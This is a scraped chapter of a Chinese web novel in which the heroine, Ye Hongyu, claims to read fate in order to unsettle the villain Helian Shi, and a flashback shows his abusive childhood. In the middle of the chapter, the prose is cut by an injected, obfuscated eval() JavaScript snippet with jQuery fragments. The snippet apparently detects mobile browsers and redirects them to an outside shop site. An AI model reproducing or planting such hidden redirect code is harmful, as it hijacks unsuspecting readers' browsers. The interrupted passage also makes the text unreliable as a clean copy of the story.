默认冷灰
24号文字
方正启体

18. 心里的弦断掉了

作者:榆钱槐花本书字数:K更新时间:
    白灵昏迷不醒。


    赫连师和叶红鱼两个找了个客栈,又请了大夫来把脉。白灵伤的不轻,但叶红鱼还好,除了受了些惊吓,有些擦伤外,几乎毫发无损。


    因此,由她在白灵身边照顾。


    在这期间,赫连师又重新换回了那件雪衣,手上玉笛消失,腰间又出现了那把锋利长剑。


    与之相应的,是沈少臣一直到半夜都没回来。


    如果不是出了意外,男主是不会在女主受伤的时候消失不见。


    叶红鱼明白,是赫连师动手了。


    为了《天地风云录》第一部不在这里直接结尾,她干脆把药炉子搬到房里,日日夜夜看着白灵。


    但现在天气热,煎药更是烟熏火燎。闷得她和赫连师两个都透不过来气,连带着白灵也受罪,昏迷中还流了一大堆热汗。


    “白姐姐,你忍着点,我也是为了你和沈大哥的终身幸福啊。”叶红鱼赶紧给白灵扇扇子,小声告罪。


    赫连师皱眉道:“你就是天天睡在阿灵身边也没用,若我有心带她走,凭你也拦不住,还不如把这炉子撤了。”


    她现在一听赫连师说话就生气。


    “我知道,连沈大哥都栽在你手里,我又算得了什么?杀与不杀我,都是在你一念之间而已。”


    叶红鱼把扇子挥得哗哗响。


    “哦,也不是,你都不用动手杀我,只要在我被人追杀的时候袖手旁观,任凭我喊破喉咙也不理就可以了。”


    “像我这种路人甲,没有你出手搭救,连三章都活不过。哪像白姐姐一受伤,你马不停蹄就赶回来了。”


    一想到自己被马匪追杀那晚,吓得都要哭出来了,撕心裂肺喊赫连师的名字,从头到尾却连一个人影都没看见。


    可她一喊白灵要出事了,赫连师就如天神降临,立马就到,她就觉得又难堪,又难过。


    她知道自己和白灵不能比,但就是很心酸……


    明明这段时间,她和赫连师还有很多互动呢。


    结果对方还是不将她放在心上。


    “再怎么说,我和你也是天意安排的眷侣,你这样也太区别对待了。”


    叶红鱼声音闷闷的。


    “就不怕以后真爱上我了,为今天做的事儿后悔?”


    赫连师眉头皱得更紧了,语气冷的像结了一层冰碴子。


    “我不信天,也不信地,只信事在人为。叶红鱼,我警告你,别再提你那件事。”


    “那我们换个话题好了。”


    叶红鱼心酸归心酸,但很理智。


    她得找出沈少臣的下落。


    “沈大哥还没死对不对?”


    他冷笑一声:“错。”


    “骗我干什么?我会算卦。”


    “你要杀沈大哥,才故意利用我的身份引来马匪,再撒谎骗他们分散去救我,制造他落单的机会。”


    “但他知道你的剑招,所以你特意换剑用笛,用蛊、毒与他过招,不仅伤了他的眼睛,还刺穿了他琵琶骨。”


    “可你还是杀不了他,一番苦战后,你感应到白姐姐有危险,为了不功亏一篑,暂时放弃杀他赶回。”


    叶红鱼盯着赫连师的表情,信誓旦旦:“我说的对吧?”


    这些在原著里就发生过。


    从女主的视角看,是一个神秘人在半路上埋伏了他们。


    其中几番惊险不提,最后,当几人化险为夷,要推敲神秘人来历时,是赫连师用一句话引导了众人思路——


    “那神秘人怎会对我们的路线如此熟悉?”


    如若不是内贼,便是故意寻仇。


    当时没人怀疑到赫连师,于是最后女主盖棺定论:是以前得罪过的武林高手上门报仇。


    但主角团得罪的高手实在太多,要一一排查纯属大海捞针,最后也就不了了之了。


    叶红鱼竭力想让赫连师相信,她能知道这些,是因为能算出“天意”。


    可偏偏赫连师不吃她那一套,冷笑道:“那幕后之人兴许值得你卖命,能调查出我的行动,也算能力不凡。”


    说着,他望向窗外,视线划过每一张行色匆匆的脸,眸子里充斥着浓浓的怀疑与审视。


    “这一路上,他应该一直跟着我们吧?叶红鱼,若你肯说出他的身份,他许你什么,我可以百倍给你。”


    叶红鱼道:“我身后无人指使,天意怎么昭示,我就怎么说。”


    天意天意,又是天意。


    赫连师表情有些阴沉了。


    “如果我不会算天意,那我怎么会知道你的真名?又怎么会知道海匪夜袭?”


    叶红鱼在动摇赫连师的想法。


    “赫连师,你测试过我不止一次,你能解释那些说不通的事吗?”


    “唯一一次看似失算,是在我爹身上。”


    “但赫连师,就算我俩没有赌约,你也会杀了我爹,让我成为孤女,再利用蛊虫控制我离间沈大哥和白姐姐之间的感情。”


    这就是原著走向。


    “其实你心里比谁都清楚。”叶红鱼加重语气,“我算的卦,没有一次出错。”


    她一瞬不瞬盯着赫连师,只见对方眸光一闪,抿了下唇瓣。


    “今日,我又算了一卦。”


    赫连师眯着眼睛看过来。


    “你把沈大哥关起来了对吧?本来你打算养精蓄锐,等到入夜再去杀他,到时候他武功全失,不是你的对手。”


    叶红鱼说的仿佛亲眼所见,语气十分肯定。


    “但是天意告诉我,沈大哥已经跑了。”


    赫连师指尖蜷缩了一下,再一次重复问句。


    “这也是那幕后之人与你说的?”


    “赫连师,若世上真有如此神通广大之人,为何不去称霸武林,反而选择处处与你做对?这根本没有好处。”


    赫连师抿紧唇瓣。


    他紧紧盯着叶红鱼,试图从少女的脸上看见任何,诸如心虚、胆怯、害怕……之类的情绪。


    然而他只看见了笃定。


    就好像他的人生是一出早就设定好的戏,剧本就攥在少女手里。


    所以她才敢那么有恃无恐。


    也许这样也不错。


    赫连师想。


    如果叶红鱼真会算天意,那他就将人关起来,为他算天下大势,铲除所有可能破坏他计划的敌手。


    可即便如此分析,他却没有感到放松和高兴。


    这是因为在划掉“幕后黑手”这个答案之后,叶红鱼这超出常理的预判能力,会指向另一个他更不愿意听到的结果……


    天意安排的眷侣。


    他下颌微微绷紧,心中像是被火烧了一样,眸光黑沉的可怕。


    叶红鱼觉得赫连师十分擅长将不懂的东西,塞入一个自己熟悉的世界观,再对之进行曲解。


    也许在沉默的这几秒钟,赫连师又在试图用其他理由说服自己,不去相信所谓“天意”存在。


    为了彻底动摇赫连师,她又开口。


    “你太固执,只肯相信自己的判断。一旦超出认知,就下意识进行否定。但人的认知是有限的,特别是……你。”


    赫连师眸光骤然一沉。


    “娘亲,娘亲,教我识字好不好?”


    小男孩拿着纸笔,噔噔噔跑到温柔妇人身边,眸光满是依恋仰慕。


    “我想学写娘亲和爹亲的名字,可我只认识武功秘籍里的字,其他的都不知道,所以一直写不好。”


    妇人却看都不看男孩一眼,只是担忧地望向窗外:“今日你爹亲要亲手剿灭敌对宗派,可他身上的伤还没好。”


    “娘亲,爹亲是蛊宗之主,武功高强,一定会没事的。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125498|196047||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    妇人伤心地垂下眼眸,自言自语:“他为什么不肯带我一起去?我懂医术,总能帮上一点忙。唉,竞郎,竞郎……”


    眼泪大滴大滴从她眼眶里掉出来,那般神情,伤心绝望,好似失去了生命中最重要的人。


    小男孩顿时仓惶无措,连忙给妇人递手帕。


    “娘亲,别哭了,师儿还在。我会努力让虫子咬我,练好武功,以后帮助爹亲。”


    “师儿?师儿?”


    这句话好像吸引了妇人的注意,她终于舍得将眼神落在小男孩身上。


    小男孩对妇人乖巧一笑。


    啪——!


    小男孩的脸被打歪到一边。


    “都怪你!”


    妇人温柔的面孔瞬间扭曲,她涂着丹蔻的尖锐指甲掐着小男孩的脖子,歇斯底里地吼着:


    “你为什么要成为我的孩子?!”


    “为什么要和我抢我的竞郎?!”


    “竞郎只能是我一个人的,他只能冲我笑,只能哄我,只能爱我!”


    脸色猛然一变,又幽幽地哭起来。


    “自从有了你,竞郎再不许我随他杀敌了。陪孩子……你又有什么好陪的?我恨不得杀了你!”


    说着,她站起来,踩过那张歪歪扭扭写着“欲寂怜”和“赫连竞”名字的纸张,一点一点往深院里走。


    有丫头问:“夫人,少主他该怎么处理?”


    欲寂怜头也不回,声音带着浓浓的哭腔:“像以前一样,关进万毒坑里去。”


    恍惚间,她好像终于想起了小男孩手里的纸。


    “谁给他拿的纸笔?”


    “回夫人的话,是每日给少主送饭的弟子。”


    “杀了。”欲寂怜轻声,“以后除了武功,不许再教他任何东西,更不许写我与竞郎的名字。恶心……”


    人走的很慢,但终是消失了。


    小男孩还是捂着脸,呆愣愣看着。


    丫头道:“少主,该去万毒坑了。宗主说,他希望你能武功大成。达成宗主的要求,也是唯一哄夫人高兴的方法。”


    闻言,小男孩僵硬的身体才动了动,眼神茫然又空洞,只有脸上火辣辣的感觉还在提醒着他,以后要学乖一点,不要再想着学任何不相干的东西了。


    只学武功……


    嗯,对,只学武功!


    赫连师垂眸看着自己的手,至今二十几载,他的武功确乎已经大成了。


    “赫连师,你对这世上很多事都一无所知,但你可以选择在否定之前,先去印证。”


    叶红鱼盯着赫连师的脸。


    “你轻功卓绝,自可以去查看一番再回来。到时候……你就该欠我两个问题的答案了。”


    话音落下,赫连师没有回话,躺在床上的白灵却忽然咳嗽起来,像是要醒了。


    叶红鱼立即收声去看,等她再回过头时,少年剑客已经不见了。


    换上那件绣满玉簪花的深色长袍,赫连师手持玉笛,一路往客栈外三十里奔去,最终在一处草木茂盛的深谷停下脚步。


    此处大树亭亭如盖,枝叶蔓延错觉,遮天蔽日,不细看,还发现不了树下一处深达十来丈的大坑。


    这高度对于会轻功的武林人士来说自然不值一提,但沈少臣双目失明,又被刺穿了琵琶骨,若非有奇遇,否则逃脱不了。


    因此,他心中想,叶红鱼定然错了,沈少臣还在!


    什么麻衣神相?什么算无谬误?什么……什么天意安排的眷侣?


    假的假的假的!


    只是叶红鱼的借口罢了。


    他站在深坑边,停顿片刻,然后垂眸往下看去,透过重重藤蔓与摇曳树影,他什么都没看到。


    沈少臣真的跑了。


    他眸光怔愣。


    心中仿佛有一根弦“嘣”一声断掉了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)